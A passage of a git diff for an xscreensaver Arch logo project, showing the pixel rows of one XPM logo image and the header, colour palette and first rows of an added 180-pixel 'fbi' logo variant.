,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=&##################################&@=======******************************************$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&########################################&====*****************************************$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&############################################&=*****************************************$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&################################################@***************************************$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=####################&&&&@==@&&&&####################=************************************$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&################&&==================&&################&*********************************$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=###############&==========================&###############*******************************$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;====&#############&============================***=&#############@****************************$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$====;;;;;;;;;;;;;;;;;;;;;;;;=============&############&============================********&############&*************************$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$========================================&###########&===========================*************&###########&***********************$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=======================================&###########==========================*****************@###########&********************$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$======================================&##########&========================**********************&##########&*****************$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=====================================&##########=======================**************************@##########&***************$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$====================================&##########====================********************************##########&************$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$===================================&###########&===============*************************************&#########@*********$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$===================================#############&==========******************************************&#########@******$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$==================================###############&====************************************************&#########****$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=================================&################&*****************===@@@@===*************************&########&*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$================================&##################&*************=,'!!!',,!!!!',=***********************&########&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$***==========================**=####################&**********=,!!!!',,,,,,'!!!!,***********************&########$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,,,...*******************************&########**###########&********='!!',>>>,,,,>>>,'!!,=*********************$########&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$....,,,,,,,,,, ", +" ,,,,,,,,,,...******************************@########@***###########&******=!!!,>>>>=@**@@>>>>,!!'=********************$@########@$$$$$$$$$$$$$$$$$$$$$$$$$$$$.....,,,,,,,,,, ", +" ,,,,,,,,,,...******************************########&*****###########&****=!!'>>>>=*********>>>>'!!=****************$$$$$&########$$$$$$$$$$$$$$$$$$$$$$$$$$$......,,,,,,,,,, ", +" ,,,,,,,,,,...*****************************&########*******###########&**='!!>>>=************=>>,'!,*************$$$$$$$$$########@$$$$$$$$$$$$$$$$$$$$$$$$$.......,,,,,,,,,, ", +" ,,,,,,,,,,...*****************************########@********###########&*,!!,>>****************>>,''=*********$$$$$$$$$$$$@########$$$$$$$$$$$$$$$$$$$$$$$$........,,,,,,,,,, ", +" ,,,,,,,,,,...****************************@#######&**********###########&'!,>@******************@>,',@*****$$$$$$$$$$$$$$$$########@$$$$$$$$$$$$$$$$$$$$$$.........,,,,,,,,,, ", +" ,,,,,,,,,,...****************************########@***********##########,!!,@********************@,''@$*$$$$$$$$$$$$$$$$$$$@########$$$$$$$$$$$$$$$$$$$$$..........,,,,,,,,,, ", +" ,,,,,,,,,,...***************************@#######&*************########&,!'@@********************@@,'=@$$$$$$$$$$$$$$$$$$$$$########$$$$$$$$$$$$$$$$$$$$...........,,,,,,,,,, ", +" ,,,,,,,,,,...***************************&#######@**************#######&'!,@**********************@,',@$$$$$$$$$$$$$$$$$$$$$@#######&$$$$$$$$$$$$$$$$$$............,,,,,,,,,, ", +" ,,,,,,,,,,...***************************########****************######='!,@#****************$$$$$@=',@$$$$$$$$$$$$$$$$$$$$$$########$$$$$$$$$$$$$$$$$.............,,,,,,,,,, ", +" ,,,,,,,,,,...**************************@#######&*****************#####,!!=&##***********$$$$$$$$$@=''=$$$$$$$$$$$$$$$$$$$$$$&#######@$$$$$$$$$$$$$$$..............,,,,,,,,,, ", +" ,,,,,,,,,,...**************************&#######*******************####,!'@####*****$$$$$$$$$$$$$$*@'!,$$$$$$$$$$$$$$$$$$$$$$$#######&$$$$$$$$$$$$$................,,,,,,,,,, ", +" ,,,,,,,,,,...**************************#######&********************##&,!'@#####*$$$$$$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$.................,,,,,,,,,, ", +" ,,,,,,,,,,...**************************#######@********************$&&,!'@######$$$$$$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$...................,,,,,,,,,, ", +" ,,,,,,,,,,...*************************@#######******************$$$$$&,!'@#######$$$$$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$.....................,,,,,,,,,, ", +" ,,,,,,,,,,...*************************&#######*********$$$$$$$$$$$$$$@,!'@########$$$$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$$#######&$$$$........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$*******************#######&$$$$$$$$$$$$$$$$$$$$$$$@,!'@#########$$$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$$&#######$$..........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$$$$$$$$$$$$$$$$$@,!'@##########$$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$$@#######............................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$$$$$$$$$$$$$$$$$@,!'@###########$$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$$$#######$...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$$$$,!'@&###########$$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$$$$#######$...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$$$$,!'@$&###########$$$$$$$$$$$@'!,$$$$$$$$$$$$$$$$$$$$$$...#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$*>>))))>>------------>>>>>>>>>>))))>>$$$$$$$$$$$$$$$$.......#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=$$$$$$$$$$$$..........#######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=$$$$$$$$..............&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=$$$$..................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&######&$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))=......................&######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))@......................#######&...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$&#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))@......................#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$@#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))@......................#######@...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######$$$$$$$$$$$$$$$$$$$$$$=))))))))))))))))))))))))))))))))))))@......................#######............................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$#######@$$$$$$$$$$$$$$$......=))))))))))))))))))))))))))))))))))))@.....................@#######............................,,,,,,,,,, ", +" ,,,,,,,,,,....$$$$$$$$$$$$$$$$$$$$$$$$#######&.....................=))))))))))))))))))))))))))))))))))))@.....................&#######............................,,,,,,,,,, ", +" ,,,,,,,,,,............................&######&.....................@))))))))))))))))))))))))))))))))))))@.....................&######&............................,,,,,,,,,, ", +" ,,,,,,,,,,............................&#######.....................@))))))))))))))))))))))))))))))))))))@.....................#######@............................,,,,,,,,,, ", +" ,,,,,,,,,,............................$#######$....................@))))))))))))))))))))))))))))))))))))@.....................#######.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................#######&....................@))))))))))))))))))))))))))))))))))))&....................&#######.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................&#######....................@))))))))))))))))))))))))))))))))))))#@...................#######&.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................@#######@...................@))))))))))))))))))))))))))))))))))))##@.................@#######@.............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................#######&...................@))))))))))))))))))))))))))))))))))))###@................&#######..............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................&#######...................@))))))))))))))))))))))))))))))))))))####@...............#######&..............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................@#######&..................@))))))))))))))))))))))))))))))))))))#####@.............&#######@..............................,,,,,,,,,, ", +" ,,,,,,,,,,...............................########..................@))))))))))))))))))))))))))))))))))))######@............########...............................,,,,,,,,,, ", +" ,,,,,,,,,,...............................&#######&.................@))))))))))))))))))))))))))))))))))))#######@..........&#######&...............................,,,,,,,,,, ", +" ,,,,,,,,,,................................########.................@))))))))))))))))))))))))))))))))))))########&.........########................................,,,,,,,,,, ", +" ,,,,,,,,,,................................&#######&................@))))))))))))))))))))))))))))))))))))#########&.......&#######&................................,,,,,,,,,, ", +" ,,,,,,,,,,.................................########@...............@))))))))))))))))))))))))))))))))))))##########&.....$########.................................,,,,,,,,,, ", +" ,,,,,,,,,,.................................&########...............@))))))))))))))))))))))))))))))))))))###########&....########&.................................,,,,,,,,,, ", +" ,,,,,,,,',..................................########&..............@))))))))))))))))))))))))))))))))))))@###########&..&########..................................,',,,,,,,, ", +" ,,,,,,,,',..................................@########@.............@))))))))))))))))))))))))))))))))))))@$###########&@########$..................................,',,,,,,,, ", +" ,,,,,,,,',...................................&########$............$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$.$###################&.................................++,',,,,,,,, ", +" ,,,,,,,,',....................................#########........................$$$$$$$$$$$$$$$..............##################.......................+++++++++++++,',,,,,,,, ", +" ,,,,,,,,',....................................@#########.....................................................################$..............++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.....................................&#########.....................................................##############@.......++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',......................................&#########$....................................................############&.+++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.......................................##########@....................................................###########.++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',........................................##########&..................................................&##########.+++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.........................................###########.............................................++.###########.++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',..........................................###########@.....................................++++++.@###########.+++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',...........................................###########&...............................++++++++++.&###########.++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',............................................############&........................+++++++++++++.&############.+++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.............................................&############&..................+++++++++++++++.&############&+++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',..............................................&#############&@..........++++++++++++++++++@&#############@++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',...............................................$###############&@...++++++++++++++++++.@&###############$+++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',.................................................&#################&@$..+++++++++.$@&#################&+++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',...................................................#################################################&.++++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',....................................................@##############################################$++++++++++++++++++++++++++++++++++++++++++++++++++++,',,,,,,,, ", +" ,,,,,,,,',......................................................$##########################################$++++++++++++++++++++++++++++++++++++++++++++++++++++++'',,,,,,,, ", +" ,,,,,,,,',.................................................+++++++$&####################################&$++++++++++++++++++++++++++++++++++++++++++++++++++++++++'',,,,,,,, ", +" ,,,,,,,,',..............................................++++++++++++.&################################@+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'',,,,,,,, ", +" ,,,,,,,,',...........................................++++++++++++++++++$&&########################&&$+++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%'',,,,,,,, ", +" ,,,,,,,,''.......................................++++++++++++++++++++++++++$@&################&@$+++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%'',,,,,,,, ", +" ,,,,,,,,''....................................+++++++++++++++++++++++++++++++++++.$$$@@$$$$+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%'',,,,,,,, ", +" ,,,,,,,,!'.................................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'...............................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'............................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'.........................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'......................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!'....................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'!,,,,,,,, ", +" ,,,,,,,,!!+.................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!!,,,,,,,, ", +" ,,,,,,,,'!';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'!',,,,,,,, ", +" ,,,,,,,,,'!!!!!!!!!!''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''!!!!!!!!!!',,,,,,,,, ", +" ,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''',>))>,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''',>))))',,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''',)))))!,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''',',''',',!'',',!'',>))))!,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''',,,!'',,'!'',,'!'''')))!',,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''!!''''!!''''!!'''''!!!',,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,'''',,,,,,,,, ", +" ,,,,,,,,,''',,,,,,,,,, ", +" ,,,,,,,,''''',,,,,,,,, ", +" ,,,,,,,''''''',,,,,,,, ", +" ,,,,,'''''!!!''',,,,,,,, ", +" ,,,,''''''!!!!'',,',,,,, ", +" ,,,,'''''!!!!!''',',,,,, ", +" ,',''''''!!!!!''',',,,,, ", +" ,,,,''''''''!!!!!''','',,,,,,, ", +" ,,,,''!!!!,,!!''''''!!!!!''','',,,,'!!!''',,,, ", +" ,,''!!!!!!''''',,!!!'''''!!!!!''','',,,,,'''''!!!!!!',,, ", +" ,,'!!!''''''''''''','!!!!''''!!!!!''','',,,,,''''''''''''''!!',, ", +" ,,'''''''''''''''',,,,,,'!!!!''''!!!!!''','',,,,,,,,,,'''''''''''''''',, ", +" ,'''''''''''''',,,,,,,,,,,,'!!!!!'''!!!!!''','',,,,,,,,,,,,,,,,,'''''''''''',, ", +" ,'''''''''''',,,,,,,,,,,,,,,,,!!!!!!''!!!!!''','',,,,,,,,,,,,,,,,,,,,,''''''''''', ", +" '''!!'''''',,,,,,,,,,,,,,,,,,,,,,!!!!!''!!!!!''','',,,,,,,,,,,,,,,,,,,,,,,,,'''''!!'', ", +" ,''!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!!!!!!!!!''','',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!'', ", +" ,''!!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!!!!!!!!''','',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!!', ", +" ,,'!!!!!,,,,,,,''''''''''''''''''''',,,,''!!!!!!!!''',',,,,,''''''''''''''''''''''',,,,,!!!!!',, ", +" ,,'!!!!!!',''''''''''''''''''''''''''',,,,,'''!!!!!''',,,,,''''''''''''''''''''''''''''''!!!!!!',, ", +" ,,'!!!!!!!'''''''''''''''''!!!!!!!!!!!!'',,,,,,,,'',,,,,,,,''!!!!!!!!!!!!!!'''''''''''''''!!!!!!!', ", +" ,,!!!!!!!!!''''''''''!!!!!!!!!!!!!!!!!!''',,,,,,,,,,,,,,,,'''!!!!!!!!!!!!!!!!!!!'''''''''!!!!!!!!!,, ", +" ,,'!!!!!!!!!!'''''!!!!!!!!!!!!!!!!!!!!!!''',,,,,,,,,,,,,,,,,''!!!!!!!!!!!!!!!!!!!!!!!!'''!!!!!!!!!!',, ", +" ,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'',,,,,,,,,,,,,,,,,,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'', ", +" ,,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'',,,,,,,,,,,,,,,,,,,,''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!',, ", +" ,,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''',,,,,,,,,,,,,,,,,,,,''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!',, ", +" ,,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''',,,,,,,,,,,,,,,,,,,,''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!',,, ", +" ,,,''!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''',,,,,,,,,,,,,,,,,,,,''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!',,, ", +" ,,,,!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''',,,,,,,,,,,,,,,,,,,,'''''''''''''!!!!!!!!!!!!!!!!!!!!!!!,,,, ", +" ,,,,'!!!!!!!!!!!!!!!!!!!!!!!!'''''''''',,,,,,,,,,,,,,,,,,,,''''''''''''!!!!!!!!!!!!!!!!!!!!!!!,=,,, ", +" ,,,,,!!!!!!!!!!!!!!!!!!!!!'''''''''''',,,,,,,,,,,,,,,,,,,,''''''''''''''!!!!!!!!!!!!!!!!!!!,,===, ", +" ,,,=,,!!!!!!!!!!!!!!!!!!!!'''''''''''',,,,,,,,,,,,,,,,,,''''''''''''''!!!!!!!!!!!!!!!!!!,,====, ", +" ,=====,'!!!!!!!!!!!!!!!!!!!!'''''''''',,,,,,,,,,,,,,,,''''''''''''!!!!!!!!!!!!!!!!!!',,,,,=, ", +" ======,,'!!!!!!!!!!!!!!!!!!!!!!''''''',,,,,,,,,,,,'''''''''!!!!!!!!!!!!!!!!!!!!',,,,,,,,, ", +" ,====,,,,,'!!!!!!!!!!!!!!!!!!!!!!!'''''',,,,,,,'''''!!!!!!!!!!!!!!!!!!!!!!!',,,,,,,,,, ", +" ,=,,,,,,,,,''!!!!!!!!!!!!!!!!!!''''''''''''''''''!!!!!!!!!!!!!!!!!!!'',,,,,,,,,,, ", +" ,,,,,,,,,,,,'''!!!!!!!!!!!!!!!''''''''''''''''!!!!!!!!!!!!!!!!!'''',,,,,,,,, ", +" ,,,,,,,,,''''!!!!!!!!!!!!!'''''''''''''''''''!!!!!!!!!!!!!!!'''',,,,,, ", +" ,,,,,'''!!!!!!!!!!!!''''''',,,,,,,,'''''''!!!!!!!!!!!!!!!''',, ", +" ''''!!!!!!!!!!!'''''''',,,,,,,,''''''''!!!!!!!!!!!!!!' ", +" !!!!!!!!!'''''''',,,,,,,,''''''''!!!!!!!!! ", +" '''''''',,,,,,,,''''''''! ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-fbi.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-fbi.xpm new file mode 100644 index 0000000..6e11532 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-fbi.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_fbi_xpm[] = { +"180 180 17 1", +" c None", +". c #060605", +"+ c #000766", +"@ c #05258A", +"# c #2F2E7A", +"$ c #023AA9", +"% c #FF0000", +"& c #C11327", +"* c #573D38", +"= c #4E4E8E", +"- c #756166", +"; c #706B9B", +"> c #8788B3", +", c #ABAEAD", +"' c #E3B8A8", +") c #C5C8C4", +"! c #E6E8E5", +" ", +" ,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))), ", +" )!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!) ", +" ,!!!!)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)!!!!, ", +" ,!)))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))!, ", +" ,),))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))),), ", +" ,,,)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),,, ", +" ,,,)))))))!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!))))))),,, ", +" ,,,))))))!)>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>)!)))))),,, ", +" 